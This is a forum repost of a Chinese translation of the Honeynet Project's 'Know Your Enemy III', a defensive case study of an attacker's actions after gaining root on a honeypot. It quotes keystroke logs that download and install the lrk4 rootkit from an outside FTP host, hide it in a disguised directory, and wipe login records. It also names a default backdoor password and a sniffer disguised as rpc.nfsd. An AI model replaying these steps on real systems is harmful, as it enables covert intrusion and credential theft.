歡迎您光臨本站 註冊首頁

了解你的敵人III

←手機掃碼閱讀     火星人 @ 2014-03-12 , reply:0
  Know Your Enemy: III
They Gain Root
Honeynet Project
http://project.honeynet.org
http://www.xfocus.org
Last Modified: 27 March, 2000

本文是對入侵者進行研究系列文章中的第三篇。第一篇講述了入侵者們的探測行為、分類及利用漏洞的過程,第二篇聚焦於如何探測這些入侵企圖、鑒別他們使用了哪些工具、他們所尋找的漏洞有哪些……這篇文章,則講述了當他們獲得root許可權后,所做的事情,重點放在他們是如何隱藏蹤跡以及之後如何做。可以從這裡下載原始數據進行分析。


入侵者是誰

就象我們在第一篇文章里所說的,多數的入侵者並沒有考慮太多的策略方面的問題,他們更重視的是輕易地入侵,而非針對某些特定的信息或者某個特定的公司。他們把注意力集中於最有效的幾個漏洞利用程序上,然後在互聯網上尋找相應的主機——遲早他們會找到適合入侵的機器的……

當他們獲得root許可權這后,第一件事往往是抹去他們的蹤跡,他們需要確保系統管理員沒有發現系統被侵襲,並且不希望留下任何日誌或者他們活動的記錄。然後,他們會使用你的機器來掃描網路中的其它系統,或者靜靜地潛伏,以求獲得更多的資料。為了更好地了解他們是如何侵害系統的,我們將沿著一個入侵者的入侵步驟來觀察。我們的系統——mozart,上面運行的操作系統是RedHat 5.1。系統在1999年4月27日受到攻擊,下面的一些入侵過程的記錄,是從系統日誌及擊鍵記錄中提取的,我們對系統日誌及擊鍵都做了驗證,所有的系統日誌都是在一個受保護的syslog伺服器上的,所有的擊鍵都是由一個被嗅探器——稱為sniffit捕獲的。如果你想了解更多關於這些記錄獲得的技巧的話,請參見另一篇文章——建立網路陷阱。在本文中,我們稱這個入侵者為「他」——因為我們無法得知其真正的性別。


漏洞利用

在4月27日的00:13,有一個傢伙在域名為1Cust174.tnt2.long-branch.nj.da.uu.net的地方對我們進行掃描,針對了包括imap漏洞在內的幾個特定的漏洞,這些入侵者是比較討厭的,因為他們一下掃描了整個網段,(想了解更多關於這次探測的信息,可以參見系列文章中的第二篇 )。


Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174
Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174
Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174



很顯然地,他找到了一些他所樂見的東西,並且在06:52和16:47又回來了。他開始了一次針對mozart機器的徹底掃描,並且確定了這台機器存在著mountd的安全漏洞,這個漏洞是Red Hat 5.1中存在的一個會危及root安全的漏洞,我們可以從/var/log/messages中看到,這個入侵者應該已經獲得了超級用戶許可權,他所使用的工具看上去象是ADMmountd.c或者一些極其類似的程序。


Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client 208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~



在運行了這個漏洞利用程序之後,我們可以從/var/log/messages中看到,這個入侵者馬上用crak0的帳號登陸,而後su成用戶rewt——這兩個用戶都是由該漏洞利用程序添加的,現在這位入侵者對我們的系統終於擁有了最高許可權了。


Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the underlying authentication module
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0)
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt by crak0(uid=0)



抹去蹤跡
現在這個入侵者是我們系統的root了,下一步,他要確定他不會被逮到,所以他首先察看了一下是否有其它用戶登陸在系統中。

[[email protected] /tmp]$ w
4:48pm up 1 day, 18:27, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM [email protected] IDLE JCPU PCPU WHAT
crak0 ttyp0 1Cust102.tnt1.lo 4:48pm 0.00s 0.23s 0.04s w

當他確定自己是安全時,他就開始準備將自己藏匿於無形了。最常見的做法是將日誌文件中所有的入侵證據先擦除,並且將某些系統中的二進位程序替代為木馬——比如ps和netstat,這樣一般情況下系統管理員就無法發現入侵者的蹤跡了。當一切就緒時,這個入侵者就可以在你幾乎無法發現他的情況下,大搖大擺地對你的系統進行完全的控制了。他們用來隱藏自已蹤跡的工具,一般情況下我們稱之為rootkits,一個常見的rootkits就是lrk4,通過執行它,有許多有用的程序將在一瞬間被替換以便使入侵者消失於無形。如果你想了解更多的關於rootkits的消息,可以看看lrk4的說明文件。這可能會幫助你更多地了解rootkits,我還推薦你看看hide-and-seek這篇由網路黑客寫的文檔,應該對隱藏蹤跡更有些主意。
在系統被入侵后的短短几分鐘后,我們可以觀察到這個入侵者下載了一個rootkit,並且運行命令"make install"完成了對它的安裝,下面就是入侵者在隱藏自身時的一些擊鍵記錄。


cd /dev/
su rewt
mkdir ". "
cd ". "
ftp technotronic.com
anonymous
[email protected]
cd /unix/trojans
get lrk4.unshad.tar.gz
quit
ls
tar -zxvf lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ". "
ls
make install

注意到這個入侵者做了一件事,就是建立了一個隱藏目錄". ",然後把rootkit放在這裡面,這個目錄不會被"ls"命令列出來,而如果運行了"ls -la"命令的話,這個目錄看起來也象是該目錄自身。當然你可以通過運行"find"命令來找出它來。(當然這必須建立在你的find沒有被rootkit取代的情況下)。


mozart #find / -depth -name "*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/. /. /procps-1.01/proc/.depend
/dev/. /.
/dev/



這個入侵者雖然看來對裝後門木馬有比較豐富的經驗,擔對如何清除日誌文件中自己的入侵記錄去沒啥主意,他並非利用一些清除日誌的工具如zap2或者clean來做這件事,而是直接拷貝了/dev/null(這是一個設備特殊文件,為空)到/var/run/utmp及/var/log/utmp,然後刪除了/var/log/wtmp,這樣,如果你發現這些文件為空,或者試圖打開它的時候,你會碰上錯誤提示:


[[email protected] sbin]# last -10
last: /var/log/wtmp:
No such file or directory
Perhaps this file was removed by the operator to prevent logging last info.

下一步



現在你的系統看上去已經足夠好了,入侵者往下往往會做兩件事:第一,他們通過用你的機器來對網路中其它主機系統進行漏洞掃描;第二,他們希望藏得更深,並且看看他們還能從這個系統中得到什麼,比如說其它用戶的帳號……咱們這位入侵者選擇了第二條,他在系統中安裝了一個嗅探器以捕獲相關的網路流量,包括telnet以及ftp的一些信息——這樣他就可以獲得登陸的用戶名及密碼,我們在/var/log/messages里看到系統在受攻擊后一小段時間,網卡被置於混雜模式,以接收各種數據包了。


Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode.

當安裝木馬、清除日誌以及開啟嗅探器這些工作都完成後,入侵者離開了我們的系統,當然,一段時間后,他一定還會回來看看,嗅探器是否捕獲到了一些有用的信息。


事態控制


當我們的這位朋友離開系統后,我就有機會好好檢查一下系統究竟發生了什麼。我對咱們被改變的文件、日誌以及嗅探器得到的東西比較感興趣,首先我用tripwire來判斷哪些文件被修改或編輯的。需要確保,你通過可信的版本運行你的tripwire,我一般是用一個編譯成靜態的,存放於防寫軟盤之上的的tripwire來判斷的,輸出如下:

added: -rw-r--r-- root 5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid
added: -rw-r--r-- root 272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log
changed: -rws--x--x root 15588 Jun 1 05:49:22 1998 /bin/login
changed: drwxr-xr-x root 20480 Apr 10 14:44:37 1999 /usr/bin
changed: -rwxr-xr-x root 52984 Jun 10 04:49:22 1998 /usr/bin/find
changed: -r-sr-sr-x root 126600 Apr 27 11:29:18 1998 /usr/bin/passwd
changed: -r-xr-xr-x root 47604 Jun 3 16:31:57 1998 /usr/bin/top
changed: -r-xr-xr-x root 9712 May 1 01:04:46 1998 /usr/bin/killall
changed: -rws--s--x root 116352 Jun 1 20:25:47 1998 /usr/bin/chfn
changed: -rws--s--x root 115828 Jun 1 20:25:47 1998 /usr/bin/chsh
changed: drwxr-xr-x root 4096 Apr 27 17:01:16 1999 /usr/sbin
changed: -rwxr-xr-x root 137820 Jun 5 09:35:06 1998 /usr/sbin/inetd
changed: -rwxr-xr-x root 7229 Nov 26 00:02:19 1998 /usr/sbin/rpc.nfsd
changed: -rwxr-xr-x root 170460 Apr 24 00:02:19 1998 /usr/sbin/in.rshd
changed: -rwxr-x--- root 235516 Apr 4 22:11:56 1999 /usr/sbin/syslogd
changed: -rwxr-xr-x root 14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd
changed: drwxr-xr-x root 2048 Apr 4 16:52:55 1999 /sbin
changed: -rwxr-xr-x root 19840 Jul 9 17:56:10 1998 /sbin/ifconfig
changed: -rw-r--r-- root 649 Apr 27 16:59:54 1999 /etc/passwd

正如我們所看到的,有大量的二進位文件被改動過了,其中/etc/passwd中的兩個帳號crak0及rewt已經被移除,所以咱們的入侵者只能通過上面改過的東西,來實現他後門的裝載。同時還有兩個文件,/usr/sbin/sniff.pid有及/usr/sbin/tcp.log。這其中/usr/sbin/sniff.pid里存放的是嗅探器的pid,而/usr/sbin/tcp.log里則存放著這個入侵者所得到的所有信息。這裡入侵者的嗅探器命名為rpc.nfsd——這裡的嗅探器應該是linsniff,編譯后替換了正常的rpc.nfsd,這樣即便系統重啟,我們的嗅探器一樣能順利自己啟動。下面是我們對/usr/sbin/sniff.pid運行strings命令的結果選摘。

mozart #strings /usr/sbin/rpc.nfsd | tail -15
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s =>
%s [%d]
sniff.pid
eth0
tcp.log
cant open log
rm %s



在檢查了上面這些信息之後,我決定仍將這台機器放在網路上,因為我對入侵者下一步想做什麼,相當感興趣,而且我還不能讓這台honeynet有任何細微的蜘絲馬跡,同時把/var/sbin/tcp.log里的數據刪除。


歸去來兮

一段日子之後,入侵者又回來了,通過記錄他的擊鍵,我們可以輕易判斷出他裝的後門是/bin/login,這個程序允許用戶以用戶名rewt密碼satori來登陸——登陸便是root了,其中密碼satori是rootkit lrk4中的默認的。

他檢查了他的嗅探器,以確定嗅探器現在還能正常動作,以及在過去的幾天中,是否抓到了某些用戶的帳號——你可以在文件keystrokes.txt中找到所有的擊鍵原始記錄,在記錄的後面,我們看到他將嗅探器進程殺掉后,離開系統了。但一會之後,他馬上又回來了,重新開啟了他的嗅探器——說實話,我不太明白他為什麼這麼做。

這個進程持續了很長時間,此後的四天中,這個入侵者天天都會登陸上來看一看該嗅探器是否抓到了有價值的數據。並沒有做更多的事情,於是我決定將機器從網路中斷開了,因為從他這裡,我無法學到更多東西。

結論

現在我們可以從頭到尾地了解了一個入侵者的侵襲過程了——當他們獲得了一個系統的最高許可權后,首先看看是否有其它人在線,然後他們通過一些動作來隱藏蹤跡、清除日誌、刪除或者修改某些特定的文件,當他們認為自己安全隱藏時,他們就開始做一些對系統侵害更大的事情了。這種入侵方式最常出現在一種新的漏洞被揭示,漏洞利用程序公布的時候——這時這些入侵者需要的僅是非常簡單的技巧了。因此如果你是一個系統管理員的話,我建議應該要盡量地完善你系統的安全性,基本的一些防禦會使你的系統抵擋得住大多數的攻擊,你可以查看Armoring Linux或者Armoring Solaris來獲得一些使主機更安全的思路。如果你感覺機器已經遭受入侵,建議你訪問CERT的站點"Recovering from an Incident"以獲得幫助。












[火星人 ] 了解你的敵人III已經有478次圍觀

http://coctec.com/docs/security/show-post-72876.html